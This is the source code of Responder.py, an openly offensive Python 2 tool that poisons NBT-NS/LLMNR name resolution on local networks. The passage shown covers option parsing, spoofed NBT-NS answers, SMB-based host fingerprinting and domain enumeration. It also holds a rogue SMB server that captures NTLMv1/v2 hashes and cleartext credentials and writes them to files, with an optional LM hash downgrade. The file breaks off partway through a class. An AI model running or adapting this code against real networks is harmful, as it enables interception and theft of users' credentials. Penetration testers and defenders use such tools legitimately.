forked from SpiderLabs/Responder
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Responder.py
executable file
·2275 lines (2062 loc) · 95 KB
/
Responder.py
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#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
from Fingerprint import RunSmbFinger,OsNameClientVersion
from odict import OrderedDict
from socket import inet_aton
from random import randrange
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b On -r On',
prog=sys.argv[0],
)
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", metavar="10.20.30.40",dest="Analyse")
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set")
parser.add_option('-b', '--basic',action="store", help="Set this to On if you want to return a Basic HTTP authentication. Off will return an NTLM authentication.This option is mandatory.", metavar="Off",dest="Basic", choices=['On','on','off','Off'], default="Off")
parser.add_option('-r', '--wredir',action="store", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' will). Default value is therefore set to Off", metavar="Off",dest="Wredirect", choices=['On','on','off','Off'], default="Off")
parser.add_option('-f','--fingerprint', action="store", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", metavar="Off", choices=['On','on','off','Off'], default="Off")
parser.add_option('-w','--wpad', action="store", dest="WPAD_On_Off", help = "Set this to On or Off to start/stop the WPAD rogue proxy server. Default value is Off", metavar="On", choices=['On','on','off','Off'], default="Off")
parser.add_option('-F','--ForceWpadAuth', action="store", dest="Force_WPAD_Auth", help = "Set this to On or Off to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Default value is Off", metavar="Off", choices=['On','on','off','Off'], default="Off")
parser.add_option('--lm',action="store", help="Set this to On if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is Off", metavar="Off",dest="LM_On_Off", choices=['On','on','off','Off'], default="Off")
parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose")
options, args = parser.parse_args()
if options.OURIP is None:
print "-i mandatory option is missing\n"
parser.print_help()
exit(-1)
ResponderPATH = os.path.dirname(__file__)
#Config parsing
config = ConfigParser.ConfigParser()
config.read(os.path.join(ResponderPATH,'Responder.conf'))
# Set some vars.
On_Off = config.get('Responder Core', 'HTTP').upper()
SSL_On_Off = config.get('Responder Core', 'HTTPS').upper()
SMB_On_Off = config.get('Responder Core', 'SMB').upper()
SQL_On_Off = config.get('Responder Core', 'SQL').upper()
FTP_On_Off = config.get('Responder Core', 'FTP').upper()
POP_On_Off = config.get('Responder Core', 'POP').upper()
IMAP_On_Off = config.get('Responder Core', 'IMAP').upper()
SMTP_On_Off = config.get('Responder Core', 'SMTP').upper()
LDAP_On_Off = config.get('Responder Core', 'LDAP').upper()
DNS_On_Off = config.get('Responder Core', 'DNS').upper()
NumChal = config.get('Responder Core', 'Challenge')
SessionLog = config.get('Responder Core', 'SessionLog')
Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
FILENAME = config.get('HTTP Server', 'Filename')
WPAD_Script = config.get('HTTP Server', 'WPADScript')
RespondTo = config.get('Responder Core', 'RespondTo').strip()
RespondTo.split(",")
#Cli options.
OURIP = options.OURIP
LM_On_Off = options.LM_On_Off.upper()
WPAD_On_Off = options.WPAD_On_Off.upper()
Wredirect = options.Wredirect.upper()
Basic = options.Basic.upper()
Finger_On_Off = options.Finger.upper()
INTERFACE = options.INTERFACE
Verbose = options.Verbose
Force_WPAD_Auth = options.Force_WPAD_Auth.upper()
AnalyzeMode = options.Analyse
if INTERFACE != "Not set":
BIND_TO_Interface = INTERFACE
if INTERFACE == "Not set":
BIND_TO_Interface = "ALL"
if len(NumChal) is not 16:
print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n"
parser.print_help()
exit(-1)
def IsOsX():
Os_version = sys.platform
if Os_version == "darwin":
return True
else:
return False
def OsInterfaceIsSupported(INTERFACE):
if INTERFACE != "Not set":
if IsOsX():
return False
else:
return True
if INTERFACE == "Not set":
return False
def Analyze(AnalyzeMode):
if AnalyzeMode == True:
return True
else:
return False
#Logger
import logging
logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
logging.warning('Responder Started')
Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log"))
logger2 = logging.getLogger('LLMNR/NBT-NS')
logger2.addHandler(logging.FileHandler(Log2Filename,'w'))
AnalyzeFilename = str(os.path.join(ResponderPATH,"Analyze-LLMNR-NBT-NS.log"))
logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
def Show_Help(ExtraHelpData):
help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n"
help+= ExtraHelpData
print help
#Function used to write captured hashs to a file.
def WriteData(outfile,data, user):
if os.path.isfile(outfile) == False:
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
else:
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
def PrintData(outfile,user):
if Verbose == True:
return True
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
else:
return True
else:
return True
def PrintLLMNRNBTNS(outfile,Message):
if Verbose == True:
return True
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(re.escape(Message), filestr.read()):
filestr.close()
return False
else:
return True
else:
return True
# Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident.
Challenge = ""
for i in range(0,len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex")
Show_Help("[+]NBT-NS, LLMNR & MDNS responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off))
if AnalyzeMode:
print '[+]Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.\n'
#Packet class handling all packet generation (see odict.py).
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#Function name self-explanatory
def Is_Finger_On(Finger_On_Off):
if Finger_On_Off == "ON":
return True
if Finger_On_Off == "OFF":
return False
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo:
return True
else:
return False
##################################################################################
#NBT NS Stuff
##################################################################################
#NBT-NS answer packet.
class NBT_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = inet_aton(OURIP)
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector Service.",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
"\x42\x4e\x00":"Local Master Browser.",
"\x42\x4f\x00":"Browser Election Service.",
"\x43\x41\x00":"File Server Service.",
"\x41\x42\x00":"Browser Service.",
}
if data in Role:
return Role[data]
else:
return "Service not known."
# Define what are we answering to.
def Validate_NBT_NS(data,Wredirect):
if Analyze(AnalyzeMode):
return False
if NBT_NS_Role(data[43:46]) == "File Server Service.":
return True
if Wredirect == "ON":
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
return True
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except:
return "Illegal NetBIOS name"
# NBT_NS Server class.
class NB(BaseRequestHandler):
def handle(self):
request, socket = self.request
data = request
Name = Decode_Name(data[13:45])
if Analyze(AnalyzeMode):
if data[2:4] == "\x01\x10":
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])
logger3.warning(Message)
except Exception:
Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
logger3.warning(Message)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
else:
Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
logger3.warning(Message)
if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect):
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
##################################################################################
#Browser Listener and Lanman Finger
##################################################################################
from RAPLANMANPackets import *
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
if data in Role:
return Role[data]
else:
return False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l =[]
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return ParsedNames
else:
return None
def RAPThisDomain(Client,Domain):
try:
l =[]
for x in range(1):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
l.append('[Analyze mode LANMAN]:')
l.append('[!]Domain detected on this network:')
for x in PDC:
l.append(' -'+x)
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
l.append('[!]SQL Server detected on Domain %s:'%(Domain))
for x in SQL:
l.append(' -'+x)
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
l.append('[!]Workstations/Servers detected on Domain %s:'%(Domain))
for x in WKST:
l.append(' -'+x)
else:
pass
return '\n'.join(l)
except:
pass
def RapFinger(Host,Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
h = SMBHeader(cmd="\x72",mid="\x01\x00")
n = SMBNegoData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(1024)
##Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",mid="\x02\x00")
t = SMBSessionData()
t.calculate()
final = t
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Tree Connect IPC$.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Rap ServerEnum.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(64736)
##Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
return None
def BecomeBackup(data,Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
if BrowserPacket[0] == "\x0b":
ServerName = BrowserPacket[1:]
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role = NBT_NS_Role(data[45:48])
Message = "[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
if AnalyzeMode:
Message1=RAPThisDomain(Client,Domain)
if PrintLLMNRNBTNS(AnalyzeFilename,Message1):
print Message1
logger3.warning(Message1)
logger3.warning(Message)
except:
pass
def ParseDatagramNBTNames(data,Client):
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
Message = '[Analyze mode: Browser]Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s'%(Client, Name, Role1, Domain, Role2)
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
if AnalyzeMode:
Message1=RAPThisDomain(Client,Domain)
if PrintLLMNRNBTNS(AnalyzeFilename,Message1):
print Message1
logger3.warning(Message1)
logger3.warning(Message)
except:
pass
class Browser(BaseRequestHandler):
def handle(self):
try:
request, socket = self.request
if Analyze(AnalyzeMode):
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:
pass
##################################################################################
#SMB Server
##################################################################################
from SMBPackets import *
#Detect if SMB auth was Anonymous
def Is_Anonymous(data):
SecBlobLen = struct.unpack('<H',data[51:53])[0]
if SecBlobLen < 220:
SSPIStart = data[75:]
LMhashLen = struct.unpack('<H',data[89:91])[0]
if LMhashLen == 0 or LMhashLen == 1:
return True
else:
return False
if SecBlobLen > 220:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
if LMhashLen == 0 or LMhashLen == 1:
return True
else:
return False
def Is_LMNT_Anonymous(data):
LMhashLen = struct.unpack('<H',data[51:53])[0]
if LMhashLen == 0 or LMhashLen == 1:
return True
else:
return False
#Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data):
DialectStart = data[40:]
pack = tuple(DialectStart.split('\x02'))[:10]
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
test = tuple(var)
if test[0] == "NT LM 0.12":
return "\x00\x00"
if test[1] == "NT LM 0.12":
return "\x01\x00"
if test[2] == "NT LM 0.12":
return "\x02\x00"
if test[3] == "NT LM 0.12":
return "\x03\x00"
if test[4] == "NT LM 0.12":
return "\x04\x00"
if test[5] == "NT LM 0.12":
return "\x05\x00"
if test[6] == "NT LM 0.12":
return "\x06\x00"
if test[7] == "NT LM 0.12":
return "\x07\x00"
if test[8] == "NT LM 0.12":
return "\x08\x00"
if test[9] == "NT LM 0.12":
return "\x09\x00"
if test[10] == "NT LM 0.12":
return "\x0a\x00"
def ParseShare(data):
packet = data[:]
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
if a:
quote = "Share requested: "+a.group(0)
logging.warning(quote.replace('\x00',''))
#Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client):
SecBlobLen = struct.unpack('<H',data[51:53])[0]
BccLen = struct.unpack('<H',data[61:63])[0]
if SecBlobLen < 220:
SSPIStart = data[75:]
LMhashLen = struct.unpack('<H',data[89:91])[0]
LMhashOffset = struct.unpack('<H',data[91:93])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[97:99])[0]
NthashOffset = struct.unpack('<H',data[99:101])[0]
if SecBlobLen > 220:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
LMhashOffset = struct.unpack('<H',data[95:97])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[101:103])[0]
NthashOffset = struct.unpack('<H',data[103:105])[0]
if NthashLen == 24:
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[105:107])[0]
DomainOffset = struct.unpack('<H',data[107:109])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[113:115])[0]
UserOffset = struct.unpack('<H',data[115:117])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
outfile = os.path.join(ResponderPATH,"SMB-NTLMv1ESS-Client-"+client+".txt")
if PrintData(outfile,User+"::"+Domain):
print "[+]SMB-NTLMv1 hash captured from : ",client
print "[+]SMB complete hash is :", writehash
WriteData(outfile,writehash,User+"::"+Domain)
logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
if NthashLen > 60:
outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt")
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[109:111])[0]
DomainOffset = struct.unpack('<H',data[111:113])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[117:119])[0]
UserOffset = struct.unpack('<H',data[119:121])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
writehash = User+"::"+Domain+":"+NumChal+":"+NtHash[:32]+":"+NtHash[32:]
if PrintData(outfile,User+"::"+Domain):
print "[+]SMB-NTLMv2 hash captured from : ",client
print "[+]SMB complete hash is :", writehash
WriteData(outfile,writehash,User+"::"+Domain)
logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(writehash))
#Parse SMB NTLMv1/v2
def ParseLMNTHash(data,client):
try:
lenght = struct.unpack('<H',data[43:45])[0]
LMhashLen = struct.unpack('<H',data[51:53])[0]
NthashLen = struct.unpack('<H',data[53:55])[0]
Bcc = struct.unpack('<H',data[63:65])[0]
if NthashLen > 25:
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
logging.warning('[+]SMB-NTLMv2 hash captured from :%s'%(client))
outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt")
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper()
if PrintData(outfile,Username+"::"+Domain):
print "[+]SMB-NTLMv2 hash captured from :",client
print "[+]SMB-NTLMv2 complete hash is :",Writehash
ParseShare(data)
WriteData(outfile,Writehash, Username+"::"+Domain)
logging.warning('[+]SMB-NTLMv2 complete hash is :%s'%(Writehash))
if NthashLen == 24:
logging.warning('[+]SMB-NTLMv1 hash captured from :%s'%(client))
outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt")
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal
if PrintData(outfile,Username+"::"+Domain):
print "[+]SMB-NTLMv1 hash captured from : ",client
print "[+]SMB complete hash is :", writehash
ParseShare(data)
WriteData(outfile,writehash, Username+"::"+Domain)
logging.warning('[+]SMB-NTLMv1 complete hash is :%s'%(writehash))
logging.warning('[+]SMB-NTLMv1 Username:%s'%(Username))
logging.warning('[+]SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain))
except Exception:
raise
def IsNT4ClearTxt(data):
HeadLen = 36
Flag2 = data[14:16]
if Flag2 == "\x03\x80":
SmbData = data[HeadLen+14:]
WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75":
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
print "[SMB]Clear Text Credentials: %s:%s" %(User,Password)
logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password))
#SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
##session request 139
if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00"
self.request.send(buffer0)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
# Customize SMB answer.
head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBNegoAns(Dialect=Parse_Nego_Dialect(data))
t.calculate()
final = t
packet0 = str(head)+str(final)
buffer0 = longueur(packet0)+packet0
self.request.send(buffer0)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
IsNT4ClearTxt(data)
head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
final = t
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(4096)
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
final = SMBSessEmpty()
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
else:
ParseSMBHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = SMBSession2Accept()
final.calculate()
packet2 = str(head)+str(final)
buffer2 = longueur(packet2)+packet2
self.request.send(buffer2)
data = self.request.recv(1024)
##Tree Connect IPC Answer
if data[8:10] == "\x75\x00":
ParseShare(data)
head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
t = SMBTreeData()
t.calculate()
final = t
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##Tree Disconnect.
if data[8:10] == "\x71\x00":
head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##Trans2 Access Denied.
if data[8:10] == "\x25\x00":
head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00":
head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x02\xff\x00\x27\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
except Exception:
pass #no need to print errors..
#SMB Server class, old version.
class SMB1LM(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(0.5)
